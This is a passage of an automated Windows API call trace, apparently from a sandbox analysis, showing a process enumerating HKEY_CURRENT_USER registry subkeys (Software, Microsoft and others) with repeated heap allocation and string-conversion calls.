RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x23fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.689] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x289d18, cchName=0x104 | out: lpName="Printers") returned 0x0 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.689] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x289d18, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x23fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.689] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.689] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x124) returned 0x0 [0247.689] RegCloseKey (hKey=0x80000001) returned 0x0 [0247.689] RegEnumKeyW (in: hKey=0x124, dwIndex=0x0, lpName=0x289d18, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.689] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.690] RegEnumKeyW (in: hKey=0x124, dwIndex=0x1, lpName=0x289d18, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x23fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.690] RegEnumKeyW (in: hKey=0x124, dwIndex=0x2, lpName=0x289d18, cchName=0x104 | out: lpName="Clients") returned 0x0 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.690] RegEnumKeyW (in: hKey=0x124, dwIndex=0x3, lpName=0x289d18, cchName=0x104 | out: lpName="Google") returned 0x0 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x23fc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0247.690] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.690] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.690] RegEnumKeyW (in: hKey=0x124, dwIndex=0x4, lpName=0x289d18, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.691] RegEnumKeyW (in: hKey=0x124, dwIndex=0x5, lpName=0x289d18, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x23fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.691] RegEnumKeyW (in: hKey=0x124, dwIndex=0x6, lpName=0x289d18, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x23fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.691] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.691] RegOpenKeyExW (in: hKey=0x124, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x120) returned 0x0 [0247.691] RegCloseKey (hKey=0x124) returned 0x0 [0247.691] RegEnumKeyW (in: hKey=0x120, dwIndex=0x0, lpName=0x289d18, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.691] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x23fc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.692] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1, lpName=0x289d18, cchName=0x104 | out: lpName="ActiveMovie") returned 0x0 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activemovie", lpUsedDefaultChar=0x0) returned 11 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.692] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2, lpName=0x289d18, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x23fc240, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.692] RegEnumKeyW (in: hKey=0x120, dwIndex=0x3, lpName=0x289d18, cchName=0x104 | out: lpName="ASF Stream Descriptor File") returned 0x0 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x23fc120, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asf stream descriptor file", lpUsedDefaultChar=0x0) returned 26 [0247.692] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.692] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.693] RegEnumKeyW (in: hKey=0x120, dwIndex=0x4, lpName=0x289d18, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x23fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.693] RegEnumKeyW (in: hKey=0x120, dwIndex=0x5, lpName=0x289d18, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x23fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.693] RegEnumKeyW (in: hKey=0x120, dwIndex=0x6, lpName=0x289d18, cchName=0x104 | out: lpName="CTF") returned 0x0 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x23fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.693] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.693] RegEnumKeyW (in: hKey=0x120, dwIndex=0x7, lpName=0x289d18, cchName=0x104 | out: lpName="Direct3D") returned 0x0 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.693] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="direct3d", lpUsedDefaultChar=0x0) returned 8 [0247.694] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.694] RegEnumKeyW (in: hKey=0x120, dwIndex=0x8, lpName=0x289d18, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0247.694] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.694] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x23fc240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0247.694] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.694] RegEnumKeyW (in: hKey=0x120, dwIndex=0x9, lpName=0x289d18, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0247.694] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.694] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0247.694] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.694] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.694] RegEnumKeyW (in: hKey=0x120, dwIndex=0xa, lpName=0x289d18, cchName=0x104 | out: lpName="Fax") returned 0x0 [0247.694] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x23fc240, cbMultiByte=3, 